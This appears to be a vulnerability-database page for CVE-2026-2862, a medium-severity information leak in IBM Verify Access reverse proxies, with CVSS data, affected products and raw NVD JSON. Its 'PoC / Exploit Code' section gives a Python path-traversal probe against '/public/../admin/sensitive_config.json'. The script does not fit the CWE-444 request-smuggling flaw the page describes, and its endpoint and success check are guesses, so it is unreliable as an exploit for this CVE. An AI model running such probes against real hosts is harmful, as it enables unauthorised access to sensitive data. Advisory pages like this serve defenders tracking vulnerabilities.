Security Vulnerability Report
中文
CVE-2026-2862 CVSS 5.3 MEDIUM

CVE-2026-2862

Published: 2026-04-01 21:16:59
Last Modified: 2026-04-07 16:32:34

Description

IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 and IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 IBM Security Verify could allow a remote attacker to access sensitive information due to an inconsistent interpretation of an HTTP request by a reverse proxy.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:security_verify_access:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:security_verify_access_container:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:verify_identity_access:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:verify_identity_access_container:*:*:*:*:*:*:*:* - VULNERABLE
IBM Verify Identity Access Container 11.0 through 11.0.2
IBM Security Verify Access Container 10.0 through 10.0.9.1
IBM Verify Identity Access 11.0 through 11.0.2
IBM Security Verify Access 10.0 through 10.0.9.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Replace with actual vulnerable host) target = "http://target-host.com" # The vulnerability involves inconsistent interpretation of HTTP requests. # This PoC attempts to access a restricted endpoint by exploiting path ambiguity. # Example: The proxy might block /admin, but allow /public/../../admin if not normalized correctly. payload_path = "/public/../admin/sensitive_config.json" headers = { "User-Agent": "CVE-2026-2862-Scanner", "Accept": "application/json" } try: # Send the malicious request response = requests.get(target + payload_path, headers=headers, timeout=10) # Check if the request bypassed the proxy and returned sensitive data if response.status_code == 200 and "sensitive" in response.text: print("[+] Vulnerability confirmed! Sensitive data leaked.") print("[+] Response snippet:", response.text[:200]) else: print("[-] Vulnerability not exploited or target patched.") print(f"[-] Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2862", "sourceIdentifier": "[email protected]", "published": "2026-04-01T21:16:59.060", "lastModified": "2026-04-07T16:32:33.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 and IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 IBM Security Verify could allow a remote attacker to access sensitive information due to an inconsistent interpretation of an HTTP request by a reverse proxy."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0.0", "versionEndIncluding": "10.0.9.1", "matchCriteriaId": "11212874-804C-42B2-AF5F-116F5C367237"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access_container:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0.0", "versionEndIncluding": "10.0.9.1", "matchCriteriaId": "674B3E72-09DE-48D4-9F07-43152474E8CD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndIncluding": "11.0.2.0", "matchCriteriaId": "980521A4-FDCB-4EC4-9871-6CD57DEC14E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access_container:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndIncluding": "11.0.2.0", "matchCriteriaId": "3FDCBF44-E483-4248-A39E-CB9226FF4BC9"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7268253", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}